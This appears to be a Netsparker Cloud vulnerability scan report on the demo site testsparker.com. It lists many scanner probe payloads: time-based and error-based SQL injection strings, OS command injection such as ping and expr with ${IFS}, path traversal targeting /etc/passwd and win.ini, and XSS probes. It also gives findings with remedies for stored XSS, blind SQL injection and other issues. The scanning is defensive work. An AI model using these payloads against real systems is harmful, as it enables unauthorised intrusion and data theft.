+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ 1));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ expr 268409241 - 2 +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:06:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ ping -c 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ expr 268409241 - 2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ 1);SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ ping -c 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ 1;SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ &ping -c 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ '&ping -c 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ "&ping -c 25 127.0.0.1 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DBA

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DB9

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:42 AM +

+

+ &expr 268409241 - 2 & +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ '&expr 268409241 - 2 &' +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ "&expr 268409241 - 2 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

[ns](javascript:netsparker(0x003D91);)

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

'+netsparker(0x003D8D)+'

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D8B);

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D89)

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

ping -c 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

',netsparker(0x003D87),'

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

\';netsparker(0x003D85);///

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

&ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

'&ping -c 25 127.0.0.1 &'

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

"&ping -c 25 127.0.0.1 &"

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:33 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

"+netsparker(0x003D83)+"

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

c:\boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:32 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:06:31 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:06:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

'+netsparker(0x003D81)+'

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

*/netsparker(0x003D7F);/*

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:28 AM +

+

+ OR X='ss +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

body{x:expression(netsparker(0x003D7D))}

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x003D7B));

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:25 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:25 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x003D79))>

+

+ 8/23/2017 8:06:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:21 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:21 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:20 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:20 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:19 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:19 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ +

+
+

javascript:netsparker(0x003D75)

+

+ 8/23/2017 8:06:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ '+NSFTW+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:06:18 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:06:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:17 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:17 AM +

+

+ 1 OR 1=1 +

+
+

">

+

+ 8/23/2017 8:06:17 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:06:17 AM +

+

+ +

+
+

//r87.com/n/j/?0x003D6E

+

+ 8/23/2017 8:06:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:16 AM +

+

+ NSFTW +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:16 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

//r87.com/n/j/?0x003D6D

+

+ 8/23/2017 8:06:16 AM +

+

+ +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified stored cross-site scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored XSS allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly, to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser.

"Stored" means that the attack will be stored in the backend system. In normal XSS attacks, an attacker needs to e-mail the victim, but in a stored XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

]]>
+ Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User's session-sensitive information, such as cookies, can be stolen.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
]]>
+ + +

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include the OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/Help.aspx?item=%2527 + InternalServerError + Internal Server Error + Low + 100 + True + Present + + + + + + + + + + + GET + + + + + + + 500 + 93,7609 + + + + Runtime Error + + + + + + +

Server Error in '/' Application.

+ +

Runtime Error

+ + + + Description: An application error occurred on the server. The current custom error settings for this application prevent the details of the application error from being viewed remotely (for security reasons). It could, however, be viewed by browsers running on the local server machine. +

+ + Details: To enable the details of this specific error message to be viewable on remote machines, please create a <customErrors> tag within a "web.config" configuration file located in the root directory of the current web application. This <customErrors> tag should then have its "mode" attribute set to "Off".

+ + + + + +
+
+
+<!-- Web.Config Configuration File -->
+
+<configuration>
+    <system.web>
+        <customErrors mode="Off"/>
+    </system.web>
+</configuration>
+ +
+ +
+ + Notes: The current error page you are seeing can be replaced by a custom error page by modifying the "defaultRedirect" attribute of the application's <customErrors> configuration tag to point to a custom error page URL.

+ + + + + +
+
+
+<!-- Web.Config Configuration File -->
+
+<configuration>
+    <system.web>
+        <customErrors mode="RemoteOnly" defaultRedirect="mycustompage.htm"/>
+    </system.web>
+</configuration>
+ +
+ +
+ + + +]]>
+
+ + Netsparker Cloud identified an internal server error.

The server responded with an HTTP status 500, indicating there is a server-side error. Reasons may vary, and the behavior should be analyzed carefully. If Netsparker Cloud is able to find a security issue in the same resource, it will report this as a separate vulnerability.

]]>
+ The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However, there might be a bigger issue, such as SQL injection. If that's the case, Netsparker Cloud will check for other possible issues and report them separately.]]> + + + Analyze this issue and review the application code in order to handle unexpected errors; this should be a generic practice, which does not disclose further information upon an error. All errors should be handled server-side only.]]> + + + +
+ + http://testsparker.com/administrator/trace.axd + ForbiddenResource + Forbidden Resource + Information + 100 + True + Present + + + + + + + + + + + GET + + + + 403 + 96,0059 + + + + Trace Error + + + + + + +

Server Error in '/' Application.

+ +

Trace Error

+ + + + Description: The current trace settings prevent trace.axd from being viewed remotely (for security reasons). It could, however, be viewed by browsers running on the local server machine. +

+ + Details: To enable trace.axd to be viewable on remote machines, please create a <trace> tag within the configuration file located in the root directory of the current web application. This <trace> tag should then have its "localOnly" attribute set to "false".

+ + + + + +
+
+
+<configuration>
+    <system.web>
+        <trace localOnly="false"/>
+    </system.web>
+</configuration>
+ +
+ +
+ + + +]]>
+
+ + Netsparker Cloud identified a forbidden resource.

Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for informational purposes.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + + + + +
+ + http://testsparker.com/blog/%27))%20WAITFOR%20DELAY%20%270%3a0%3a25%27--/ + ConfirmedBlindSqlInjection + Blind SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + GET + + + + + + + 200 + 25104,026 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +

+ +

+

+ +

+

+ +

+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified a blind SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed us to identify and confirm the SQL injection.

]]>
+ Depending on the backend database, the database connection settings, and the operating system, an attacker can mount one or more of the following attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.]]> + A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/administrator/?r=%2fDashboard%2f + AutoCompleteEnabled + Autocomplete Enabled + Low + 100 + True + Present + + A5 + 15 + 16 + + + + + + + POST + + + + + + + + + + + + + 200 + 98,4901 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + +

Login

+
+ +
(alan@turing.com) +
+ + + +
+
(theturingtest) +
+ +
+
+
+ +
+
+

Login Failed. Please try again.

+
+ + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected that autocomplete is enabled in one or more of the form fields which might contain sensitive information like "username", "credit card" or "CVV".

]]>
+ If user chooses to save, data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers, such as cyber cafes or airport terminals.

]]>
+
  1. Add the attribute autocomplete="off" to the form tag or to individual "input" fields.
  2. Find all instances of inputs that store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords; however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure all of the fixes have been applied properly.
]]>
+ First and foremost, attacker needs either physical access or user-level code execution rights for successful exploitation. Dumping all data from a browser can be fairly easy, and a number of automated tools exist to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the autocomplete feature to see previously entered values.]]> + + + ]]> + +
+ + http://testsparker.com/administrator/?r=%2fDashboard%2f + PasswordOverHttp + Password Transmitted over HTTP + Important + 100 + True + Present + + A6 + 4 + 319 + 65 + 6.5.4 + 6.5.4 + + + + POST + + + + + + + + + + + + + 200 + 98,4901 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + +

Login

+
+ +
(alan@turing.com) +
+ + + +
+
(theturingtest) +
+ +
+
+
+ +
+
+

Login Failed. Please try again.

+
+ + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected that password data is being transmitted over HTTP.

]]>
+ If an attacker can intercept network traffic, he/she can steal users' credentials.]]> +
  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
]]>
+ + All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input, starting from the login process, should only be served over HTTPS.]]> + + + +
+ + http://testsparker.com/Contact.aspx + InternalIPLeakage + [Possible] Internal IP Address Disclosure + Low + 50 + False + Present + + + + 200 + + + + + + + POST + + + + + + + + + + + + 200 + 95,482 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + +

Contact

+

+ You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. +

+ + + + + + + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified a possible internal IP address disclosure in the page.

It was not determined if the IP address was that of the system itself or that of an internal network.

]]>
+ There is no direct impact; however, this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.]]> + + + First, ensure this is not a false positive. Due to the nature of the issue, Netsparker Cloud could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is, consider removing it.]]> + + + +
+ + http://testsparker.com/ + CookieNotMarkedAsHttpOnly + Cookie Not Marked as HttpOnly + Low + 100 + True + Present + + A5 + 15 + 16 + 107 + + + + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified a cookie not marked as HTTPOnly.

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

]]>
+ During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.]]> +
  1. See the remedy for solution.
  2. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)
]]>
+ + Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.]]> + + ]]> + +
